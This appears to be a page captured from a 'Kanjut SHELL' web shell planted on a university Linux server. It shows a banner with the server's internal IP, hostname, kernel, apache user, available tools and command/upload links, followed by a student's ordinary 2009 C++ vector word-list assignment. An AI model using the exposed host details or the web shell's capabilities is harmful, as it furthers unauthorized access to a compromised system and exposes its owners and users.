Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 52.15.37.74
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/cchansen/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cchansen/assignment8.cpp
//      Title: 		assignment8.cpp 
//      Author: 	Caitlin Hansen
//      Teacher: 	Dr. Wang
//      Due: 		April 6,2009
//
//      Goal:		The program creates a list by using vectors, allowing the user to 
//              	insert, sort, and print words.
//

#include <iostream>     // for endl, setw, fixed..
#include <vector>       // for vector class template
#include <algorithm>    // for sort(..) for vector objects

using namespace std;    // for cin/cout

void menu();

int main()
{
        vector<string> myList;
        string temp;
        char ch;
        menu();

        cin >> ch;

        while(tolower(ch) != 'q')
        {       cout << "You choose - " << ch;
                if( tolower(ch) == 'i')
                {
                        cout << "\n\nInsert a word: ";
                        cin >> temp;
                        myList.push_back(temp);
                        cout << "\n" << temp
                         << " is inserted to the list.\n";
                }
                else if(tolower(ch) == 'p')
                {       cout << "\n The List is: ";

                        for( int i=0; i  < myList.size(); i++)
                                cout << myList[i] << "  ";
                        cout << endl;
                }
                else if(tolower(ch) == 's')
                {       sort(myList.begin(), myList.end() );
                        cout << "\n The list is sorted.\n";
                }
                else if(tolower(ch) == 'd')
                {       sort(myList.begin(), myList.end(), greater<string>() );
                        cout << "\nThe list is sorted to descending order.\n";

                }
                else if(tolower(ch) == 'r')
                {       myList.pop_back();
                        cout << endl;
                        cout << "The last word was removed.\n";
                }
                cout << "The number of items in the list are: "
                        << myList.size();

                menu();
                cin >> ch;
        }

        cout << "\n\nYou are finished.\n\n";
        return 0;
}

void menu()
{       cout << "\n\n   List Game\n";
        cout <<"------------------------------------\n";
        cout << "I      Insert a word.\n";
        cout << "P      Print the list.\n";
        cout << "S      Sort to ascending list.\n";
        cout << "D      Sort to descending order.\n";
        cout << "R      Remove the last word.\n";
        cout << "Q      Quit.\n"; 
        cout << "====================================";
        cout << endl;
        cout << "Your Choice: ";
}


Stv3n404 - 2023